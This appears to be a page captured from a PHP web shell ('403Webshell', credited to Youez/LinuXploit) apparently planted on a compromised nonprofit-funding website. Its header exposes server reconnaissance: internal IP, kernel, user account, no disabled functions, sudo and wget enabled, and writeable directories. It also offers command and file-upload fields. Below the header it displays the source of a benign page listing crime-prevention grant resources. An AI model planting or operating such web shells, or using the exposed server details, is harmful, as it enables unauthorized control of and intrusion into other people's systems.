403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/fundingapplications.com/membersonly/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/fundingapplications.com/membersonly/nonprofit_preventionBAK.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Funding Applications.com - Non-Profit Agencies and Organizations</title>


<?php include('header.php');?>


	<tr>
		<td>
	<div style="width:100%; height:100%; background-color:#ffffff;"> <!--main content container-->
	
		<div style="float:left; width:200px; margin:0px 0px 0px 10px;"> <!--left container-->
			<?php include('nav.php');?>
		</div> <!--end left container-->
		
		<div style="float:right; width:490px; margin:0px 15px 0px 0px;" class="text"> <!--right container-->
		
			<h1 class="title_blue">Non-Profit Agencies and Organizations</h1> 
			<p align="center"><b>Chapter 3 
			– Crime Prevention/Prisoner Transition Resources</b></p> 
			<p align="center"><b>General</b></p> 
			<p>The following are sites that 
			can provide information regarding crime prevention and ex-offender grants 
			for which your non-profit organization may be eligible.</p> 
			<ul type="DISC"> 
			  <li><b>2009 American 
			  Recovery and Reinvestment Act – </b> 
			  This Act has affords opportunities in a myriad of fields, such as criminal 
			  legal services and ex-offender grants.  Log onto your state of 
			  interest at <a href="http://www.state.gov/recovery/" target="_blank"><u>www.state.gov/recovery/</u></a>  to find out the grants and assistance 
			  from this program that are available in the state of your choice.</li> 
			  <li><b>Federal Monies 
			  – </b>Search for all Federal programs at <a href="http://www.cfda.gov" target="_blank"><u>www.cfda.gov</u></a>. </li> 
			  <li><b>State Monies 
			  – </b>There are programs available in many areas.  Follow the 
			  protocol for the 2009 American Recovery and Reinvestment Act, as it 
			  applies to your state.  For example, log onto <a href="http://www.recovery.ca.gov" target="_blank"><u>www.recovery.ca.gov</u></a>, if you are interested in grants in 
			  the State of California. </li> 
			  <li><b>County Monies 
			  – </b>These may be somewhat harder to come by, but there are programs 
			  that offer assistance in crime prevention and ex-offender assistance.  
			  Log onto <a href="http://www.govengine.com/local/gov/index.html" target="_blank"><u>www.govengine.com/local/gov/<WBR>index.html</u></a> for the county you seek.</li> 
			  <li><b>Foundations and 
			  Private Donors – </b>There are plenty of private sources that may 
			  offer assistance to non-profit entities.  Log onto <a href="http://fdcenter.org" target="_blank"><u>http://fdcenter.org</u></a> and <a href="http://www.guidestar.com" target="_blank"><u>www.guidestar.com</u></a> for databases to these private donors.</li> 
			  <li><b>Federal Assistance 
			  - </b>The Federal Government has close to 1,000 non-profit agencies 
			  and organizations available to assist in several areas.  The best 
			  way to find out what is available in your area is to log onto <a href="http://www.hud.gov/offices/hsg/sfn/hcc_home.cfm" target="_blank"><u>www.hud.gov/offices/hsg/sfn/<WBR>hcc_home.cfm</u></a> or telephone the Locator at 1-800-569-4287.</li> 
			  <li><b>Local Assistance 
			  – </b>There are local community agencies that are available to help 
			  you locate government funding or other money sources.  For the 
			  community agency in your area, log onto <a href="http://www.communityactionpartnership.com" target="_blank"><u>www.<WBR>communityactionpartnership.com</u></a> or call (202) 265-7546.</li> 
			  <li><b>Office of Community 
			  Planning and Development – </b>This office can help identify grant 
			  programs that you may be eligible for.  You can contact this agency 
			  by logging onto <a href="http://www.comcon.org" target="_blank"><u>www.comcon.org</u></a> or by calling its offices at 1-800-998-9999.</li> 
			  <li><b>Federal Government 
			  Gateway to Senior Resources – </b> 
			  You can find information on employment, housing, health, financial support, 
			  technology, transportation, ex-offender assistance and independent living 
			  by logging onto <a href="http://www.ssa.gov" target="_blank"><u>www.ssa.gov</u></a>. <b> </b></li> 
			  <li><b>State Vocational 
			  Rehabilitation Offices – </b>These centers are the starting point 
			  for all services within each state.  You can locate the center 
			  within your state by logging onto <a href="http://www.govengine.com" target="_blank"><u>www.govengine.com</u></a>. </li> 
			  <li><b>Fundsnet 
			  – </b>At this site, you can find funding organizations by category 
			  and subject area, including foundations, national grantmakers, regional 
			  funders, international funders, government funding, and more.  
			  For more information, log onto <a href="http://www.fundsnetservices.com" target="_blank"><u>www.fundsnetservices.com</u></a>. </li> 
			  <li><b>Fund 
			  Raising Handbook</b> – This site will provide your non-profit organization 
			  with information regarding effective fund raising.  For more information, 
			  you can access the site at <a href="http://www.sla.org/membership/guidel/frhand.html" target="_blank"><u>www.sla.org/membership/guidel/<WBR>frhand.html</u></a>. </li> 
			  <li><b>Internet Non-Profit 
			  Center – </b>This site focuses on documents of use to those who want 
			  to learn about non-profit organizations.  For more information, 
			  you can access the website at <a href="http://nonprofit-info.org/npofaq/10/05.html" target="_blank"><u>http://nonprofit-info.org/<WBR>npofaq/10/05.html</u></a>. </li> 
			</ul> 
			 <br> 
			<p align="center"><b>Federal Government</b></p> 
			<p>The following are grants in 
			this area.  The grants are listed by particular code in the Catalog 
			of Federal Domestic Assistance.  These grants can be reviewed on <a href="http://www.cfda.org" target="_blank"><u>www.cfda.org</u></a> by particular catalog number.</p> 
			<ul type="DISC"> 
			  <li>Arrest Programs 
			  and Policies – 16.590</li> 
			  <li>Computer-Related 
			  Crime – 16.302, 16.612</li> 
			  <li>Domestic Violence 
			  – 16.524, 16.556, 16.557, 16.590</li> 
			  <li>Drug Apprehension 
			  and Adjudication – 16.580, 16.609</li> 
			  <li>Medicaid Fraud – 
			  93.775</li> 
			  <li>Training and Technical 
			  Assistance – 16.308, 16.309, 16.321, 16.526, 16.554, 16.582, 16.590, 
			  16.592, 16.597, 16.610, 16.612, 16.710, 16.712, 16.744</li> 
			  <li>Victim Assistance 
			  and Compensation – 16.321, 16.524, 16.525, 16.526, 16.527, 16.528, 
			  16.529, 16.575, 16.576, 16.582, 16.587, 16.588, 16.589</li> 
			  <li>Correctional Facilities 
			  Improvement – 16.586, 16.739</li> 
			  <li>Drug Abuse Treatment 
			  in Corrections – 93.229</li> 
			  <li>Improvement of Correctional 
			  System – 16.203, 16.309, 16.541, 16.549, 16.554, 16.560, 16.580, 16.590, 
			  16.592, 16.609, 16.610, 16.611, 16.612, 16.613, 16.710, 16.730, 16.735, 
			  16.738, 16.739, 16.741, 16.742, 16.743, 16.745, 97.091</li> 
			  <li>Literacy for Prisoners 
			  – 84.255</li> 
			  <li>Personnel Training 
			  – 16.542, 16.712, 84.103, 93.242, 93.632, 93.648</li> 
			</ul> 
			<p>The following are Federal grants 
			from agencies of the Federal Government.  These grants can be accessed 
			by logging onto <a href="http://www.grants.gov" target="_blank"><u>www.grants.gov</u></a> and searching for the grant under 
			the particular grant title.</p> 
			<p align="center"><b>Crime 
			– Other</b></p> 
			<ul type="DISC"> 
			  <li><b>Edward Byrne 
			  Memorial Program -  </b>funded by the Bureau of Justice Assistance</li> 
			  <li><b>2009 Court Statistics 
			  Projects –</b> funded by the Bureau of Justice Statistics</li> 
			  <li><b>“Green” Corrections 
			  –</b> funded by the National Institute of Corrections</li> 
			</ul> 
			 <br> 
			<p align="center"><b>Ex-Offender 
			Services</b></p> 
			<ul type="DISC"> 
			  <li><b>Second Chance 
			  Mentoring Programs – </b>funded by the Bureau of Justice Assistance</li> 
			  <li><b>Second Chance 
			  Prisoner Re-entry Initiative – </b> 
			  funded by the Bureau of Justice Ass’t.</li> 
			  <li><b>Transition from 
			  Prison to Community – </b>funded by National Institute of Justice</li> 
			</ul> 
			 <br> 
			<p align="center"><b>Law Enforcement 
			Agencies</b></p> 
			<p align="center"><b>Prevention 
			Programs</b></p> 
			<ul type="DISC"> 
			  <li><b>FY 2009 Recovery 
			  Act – Assistance to Rural Law Enforcement to Combat Crime and Drugs 
			  – </b>funded by the Bureau of Justice Assistance<b> </b></li> 
			  <li><b>Gang Resistance 
			  Education and Training – </b>funded by the Bureau of Justice Assistance</li> 
			  <li><b>Electronic Crime 
			  and Digital Evidence Recovery –</b> funded by the National Institute 
			  of Justice</li> 
			  <li><b>Local Youth Mentoring 
			  Initiative –</b> funded by the Office of Juvenile Justice    </li> 
			</ul> 
			 <br> 
			<p align="center"><b>Prisoner 
			Services</b></p> 
			<ul type="DISC"> 
			  <li><b>Mentoring Initiative 
			  for Foster Care Youth – </b>Office of Juvenile Justice and Delinquency 
			  Prevention</li> 
			</ul> 
			 <br> 
			<p align="center"><b>Protection 
			Against Neglect/Abuse</b></p> 
			<ul type="DISC"> 
			  <li><b>Statewide Victim 
			  Information and Notification Training 
			  – </b>funded by the Bureau of Justice Assistance</li> 
			  <li><b>2009-2011 Deaths 
			  in Custody Reporting Program:  State Prisons and Local Jails 
			  – </b>funded by the Bureau of Justice Statistics </li> 
			  <li><b>Research and 
			  Evaluation on Sexual Violence and Teen dating Violence  -</b> funded 
			  by the National Institute of Justice</li> 
			  <li><b>Integrating Crime 
			  Victims into College Curricula –</b> Victims of Crime Office</li> 
			  <li><b>Child Abuse Training 
			  –</b> Office of Juvenile Justice and Delinquency Prevention</li> 
			  <li><b>Internet Crimes 
			  against Children Grants –</b> funded by the Office of Juvenile Justice 
			  and Delinquency Prevention </li> 
			  <li><b>Transitional 
			  Housing Assistance for Victims of Domestic Violence, Dating Violence, 
			  Stalking or Sexual Assault –</b> funded by the Office on Violence 
			  against Women</li> 
			  <li><b>Grants to 
			  Enhance Culturally and Linguistically Specific Services for Victims 
			  of Domestic Violence, Dating Violence, Sexual Assault and Stalking Program 
			  –</b> funded by the Office on Violence Against Women</li> 
			  <li><b>Grants to Reduce 
			  Domestic Violence, Dating Violence, Sexual Assault and Stalking on Campus 
			  Program – </b>funded by the Office on Violence against Women</li> 
			  <li><b>Safe Havens 
			  – Supervised Visitation and Safe Exchange Grant 
			  Program</b> – funded by the Office on Violence against Women<b>  </b></li> 
			  <li><b>Legal Assistance 
			  for Victims </b>– funded by the Office on Violence against Women</li> 
			  <li><b>Sexual Assault 
			  Services Program </b>– <b>Grants to Culturally Specific Programs - 
			   </b>funded by the Office on Violence against Women</li> 
			</ul> 
			 <br> 
			<p align="center"><b>Foundation 
			Grants</b></p> 
			<ul type="DISC"> 
			  <li><b>Texas Equal Access 
			  to Justice Foundation - </b>This Foundation provides funds of civil 
			  legal aid to poor Texans.  For more information, call (512) 320-0099, 
			  or log onto <a href="http://www.teaf.org" target="_blank"><u>www.teaf.org</u></a>. <b> </b></li> 
			  <li><b>Washington Foundation 
			  (MT) – </b>This Foundation funds programs for crime prevention in 
			  Montana and surrounding states.  For more information, call (406) 
			  523-1320 or log onto <a href="http://www.dpwfoundation.org" target="_blank"><u>www.dpwfoundation.org</u></a>. </li> 
			  <li><b>Viejas Enterprises 
			  (CA) – </b>This Foundation makes philanthropic donations to non-profits 
			  in the State of California in the area of crime prevention.  For 
			  more information, call (619) 644-8319 or log onto <a href="http://www.viejasbandofkurneaay.org" target="_blank"><u>www.viejasbandofkurneaay.org</u></a>. </li> 
			  <li><b>Institute for 
			  Justice and Journalism at U.S.C. – </b> 
			  This fund supports work that helps the public understand such complex 
			  issues as crime and punishment.  For more information, access the website 
			  at <a href="http://www.justicejoiurnalism.org" target="_blank"><u>www.justicejoiurnalism.org</u></a>. </li> 
			  <li><b>National Association 
			  of VOCA Assistance Administrators – </b> 
			  Through a<b> </b>grant from the Office for Victims of Crime, non-profit 
			  organizations committed to advocating for the rights and services of 
			  crime victims are encouraged to apply.  For more information, access 
			  the website at <a href="http://www.navaa.org" target="_blank"><u>www.navaa.org</u></a>. </li> 
			  <li><b>Trico Electric 
			  Cooperative (AZ) –</b> This Fund provides money to non-profit organizations 
			  that have programs for youth violence and crime prevention.  For 
			  more information, call (520) 744-2944 ext 1362, or log onto <a href="http://www.trico.coop/power_grants.html" target="_blank"><u>www.trico.coop/power_grants.<WBR>html</u></a>. </li> 
			  <li><b>Target Department 
			  Stores –</b> This foundation, through its Law Enforcement Grant, is 
			  committed to extending assistance to non-profit criminal justice organizations.  
			  For more information, access the website at <a href="http://www.sites.target.com" target="_blank"><u>www.sites.target.com</u></a>. </li> 
			  <li><b>QuikTrip Corporation 
			  (OK) –</b> This Foundation provides funding for non-profit organizations 
			  that that have the ability, through initiatives, to effect measurable 
			  change in communities with regard to youth at-risk behavior and are 
			  committed to addressing the negative behaviors of youth.  For more 
			  information, call (918) 615-7872 or log onto the website at <a href="http://www.quiktrip.com" target="_blank"><u>www.quiktrip.com</u></a>. </li> 
			  <li><b>Sobrato Family 
			  –</b> This Foundation is committed to non-profit organizations that 
			  promote positive crime and legal related services.  For more information, 
			  call (408) 946-0100 or log onto the website at <a href="http://www.sobrato.org" target="_blank"><u>www.sobrato.org</u></a>. </li> 
			</ul> 
		
		</div> <!--end right container-->
		
		<div style="clear:both;"></div>
	
	</div> <!--end main content container-->
		</td>	
	</tr>
	
<?php include('footer.php');?>


Youez - 2016 - github.com/yon3zu
LinuXploit